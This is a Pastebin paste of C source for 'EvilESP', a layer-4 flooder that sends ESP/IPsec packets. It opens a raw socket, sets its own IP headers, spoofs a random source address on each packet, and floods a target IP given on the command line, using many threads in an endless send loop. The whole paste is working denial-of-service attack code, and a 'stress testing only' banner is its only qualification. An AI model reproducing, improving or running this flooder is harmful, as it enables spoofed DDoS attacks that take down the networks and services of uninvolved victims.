prostate

L4 esp.c

Mar 27th, 2020
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.33 KB | None | 0 0
  1. /*
  2. *EvilESP - ESP/IPSEC Protocol Flooder V.1
  3. */
  4.  
  5. #include <unistd.h>
  6. #include <time.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <sys/ioctl.h>
  10. #include <string.h>
  11. #include <stdlib.h>
  12. #include <stdio.h>
  13. #include <pthread.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/in.h>
  16. #include <netinet/if_ether.h>
  17. #include <netdb.h>
  18. #include <net/if.h>
  19. #include <arpa/inet.h>
  20.  
  21. #define MAX_PACKET_SIZE 65534
  22. #define PHI 0x9e3779b9
  23.  
  24.  
  25. static unsigned long int Q[4096], c = 362436;
  26. volatile int limiter;
  27. volatile unsigned int pps;
  28. volatile unsigned int sleeptime = 100;
  29.  
  30. void init_rand(unsigned long int x)
  31. {
  32. int i;
  33. Q[0] = x;
  34. Q[1] = x + PHI;
  35. Q[2] = x + PHI + PHI;
  36. for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  37. }
  38. unsigned long int rand_cmwc(void)
  39. {
  40. unsigned long long int t, a = 18782LL;
  41. static unsigned long int i = 4095;
  42. unsigned long int x, r = 0xfffffffe;
  43. i = (i + 1) & 4095;
  44. t = a * Q[i] + c;
  45. c = (t >> 32);
  46. x = t + c;
  47. if (x < c) {
  48. x++;
  49. c++;
  50. }
  51. return (Q[i] = r - x);
  52. }
  53. unsigned short csum (unsigned short *buf, int count)
  54. {
  55. register unsigned long sum = 0;
  56. while( count > 1 ) { sum += *buf++; count -= 2; }
  57. if(count > 0) { sum += *(unsigned char *)buf; }
  58. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  59. return (unsigned short)(~sum);
  60. }
  61.  
  62.  
  63. void setup_ip_header(struct iphdr *iph)
  64. {
  65. iph->ihl = 5;
  66. iph->version = 4;
  67. iph->tos = 0;
  68. iph->id = rand();
  69. iph->frag_off = 0;
  70. iph->ttl = MAXTTL;
  71. iph->check = 0;
  72. iph->saddr = inet_addr("192.168.3.100");
  73. }
  74.  
  75.  
  76.  
  77. void *flood(void *par1)
  78. {
  79. char *td = (char *)par1;
  80. char datagram[MAX_PACKET_SIZE];
  81. struct iphdr *iph = (struct iphdr *)datagram;
  82.  
  83. struct sockaddr_in sin;
  84. sin.sin_family = AF_INET;
  85. sin.sin_port = rand();
  86. sin.sin_addr.s_addr = inet_addr(td);
  87.  
  88. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  89. if(s < 0){
  90. fprintf(stderr, "Cannot open sockets, are you root?\n");
  91. fprintf(stderr, "Exiting...\n");
  92. exit(-1);
  93. }
  94. memset(datagram, 0, MAX_PACKET_SIZE);
  95. setup_ip_header(iph);
  96.  
  97.  
  98. iph->daddr = sin.sin_addr.s_addr;
  99. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  100.  
  101. int tmp = 1;
  102. const int *val = &tmp;
  103. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  104. fprintf(stderr, "Error: Cannot rewrite the packet headers\n");
  105. fprintf(stderr, "Exiting...\n");
  106. exit(-1);
  107. }
  108.  
  109. init_rand(time(NULL));
  110. register unsigned int i;
  111. i = 0;
  112. while(1){
  113. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  114.  
  115. iph->protocol = 50;
  116. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  117. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  118. iph->tot_len = 1500;
  119. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  120.  
  121. pps++;
  122. if(i >= limiter)
  123. {
  124. i = 0;
  125. usleep(sleeptime);
  126. }
  127. i++;
  128. }
  129. }
  130. int main(int argc, char *argv[ ])
  131. {
  132. if(argc < 5){
  133. fprintf(stderr, "EvilESP - ESP/IPSEC Protocol Flooder V.1\n");
  134. fprintf(stderr, "Made by JiiN - Private for Cyber-Hub.net\n\n");
  135. fprintf(stderr, " ============================================================================\n");
  136. fprintf(stderr, " >> For network stress testing only! <<\n");
  137. fprintf(stderr, " >> Users are legally responsible for the illegal usage of this tool <<\n");
  138. fprintf(stderr, " ============================================================================\n");
  139. fprintf(stdout, "\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  140. exit(-1);
  141. }
  142. fprintf(stdout, "Setting up sockets...\n");
  143.  
  144. int num_threads = atoi(argv[2]);
  145. int maxpps = atoi(argv[3]);
  146. int time = atoi(argv[4]);
  147. limiter = 0;
  148. pps = 0;
  149. pthread_t thread[num_threads];
  150.  
  151. int multiplier = 100;
  152.  
  153. int i;
  154. for(i = 0;i<num_threads;i++){
  155. pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  156. }
  157. fprintf(stdout, "Sending packets...\n");
  158. fprintf(stdout, "EvilESP started!\n");
  159. for(i = 0;i<(time*multiplier);i++)
  160. {
  161. usleep((1000/multiplier)*1000);
  162. if((pps*multiplier) > maxpps)
  163. {
  164. if(1 > limiter)
  165. {
  166. sleeptime+=100;
  167. } else {
  168. limiter--;
  169. }
  170. } else {
  171. limiter++;
  172. if(sleeptime > 25)
  173. {
  174. sleeptime-=25;
  175. } else {
  176. sleeptime = 0;
  177. }
  178. }
  179. pps = 0;
  180. }
  181.  
  182. return 0;
  183. }
Add Comment
Please, Sign In to add comment